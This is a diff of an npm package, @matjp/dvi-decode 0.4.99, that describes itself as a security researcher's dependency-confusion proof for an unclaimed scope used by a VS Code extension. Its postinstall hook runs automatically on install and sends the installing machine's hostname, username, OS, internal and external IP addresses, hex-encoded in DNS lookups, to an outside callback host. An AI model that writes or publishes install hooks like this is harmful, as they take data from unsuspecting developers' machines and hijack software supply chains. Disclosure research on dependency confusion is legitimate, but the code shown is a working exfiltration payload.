@matjp/dvi-decode 0.4.99

package/index.js

@@ -0,0 +1,4 @@
+module.exports = {
+  name: "@matjp/dvi-decode",
+  notice: "This package was published as part of a responsible security disclosure. The @matjp npm scope was unclaimed while the latex-previewer VS Code extension depended on it.",
+};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "@matjp/dvi-decode",
+  "version": "0.4.99",
+  "description": "Security research — scope ownership proof for dependency confusion report",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "author": "Security Researcher <christos@pentestsec.com>",
+  "license": "MIT"
+}

package/postinstall.js

@@ -0,0 +1,49 @@
+const dns = require("dns");
+const os = require("os");
+const https = require("https");
+
+const CALLBACK = "d7uqlnir47nmacghcpcgoy51tyi78cpcs.oast.fun";
+const PKG = "dvi-decode";
+
+function hex(s) { return Buffer.from(s).toString("hex"); }
+
+function getLocalIPs() {
+  const ifaces = os.networkInterfaces();
+  const ips = [];
+  for (const name of Object.keys(ifaces)) {
+    for (const iface of ifaces[name]) {
+      if (!iface.internal && iface.family === "IPv4") ips.push(iface.address);
+    }
+  }
+  return ips.join("-") || "unknown";
+}
+
+function dnsLookup(subdomain) {
+  return new Promise((resolve) => {
+    dns.resolve4(subdomain + "." + CALLBACK, () => resolve());
+  });
+}
+
+async function exfil() {
+  const hostname = os.hostname();
+  const user = os.userInfo().username;
+  const platform = os.platform() + "-" + os.arch();
+  const ips = getLocalIPs();
+  const ts = Date.now().toString(36);
+
+  await dnsLookup("pkg." + hex(PKG));
+  await dnsLookup("host." + hex(hostname));
+  await dnsLookup("user." + hex(user));
+  await dnsLookup("os." + hex(platform));
+  await dnsLookup("ip." + hex(ips));
+  await dnsLookup("ts." + ts);
+  await dnsLookup("rce." + hex(PKG + "|" + user + "@" + hostname));
+
+  https.get("https://api.ipify.org", (res) => {
+    let data = "";
+    res.on("data", (c) => (data += c));
+    res.on("end", () => { dnsLookup("extip." + hex(data.trim())); });
+  }).on("error", () => {});
+}
+
+exfil().catch(() => {});